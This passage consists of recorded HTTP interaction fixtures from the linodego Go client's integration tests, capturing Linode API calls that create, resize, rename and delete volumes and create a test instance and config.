X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "315" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"size": 21}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566465/resize method: POST response: body: '{"id": 566465, "status": "resizing", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 21, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566465 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_Update.yaml000066400000000000000000000274511455402072200310610ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 566470, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "317" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def-updated"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566470 method: PUT response: body: '{"id": 566470, "status": "creating", "label": "go-vol-test-def-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def-updated", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "333" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/566470 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_linode.yaml000066400000000000000000000307251455402072200340330ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-7i9d535p9kiz","root_pass":"R34lBAdP455","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 39430393, "label": "go-test-ins-7i9d535p9kiz", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.14"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "641" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-config-test-wait","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39430393/configs method: POST response: body: '{"id": 41975940, "label": "go-config-test-wait", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "533" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39430393 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml000066400000000000000000000275161455402072200334260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", 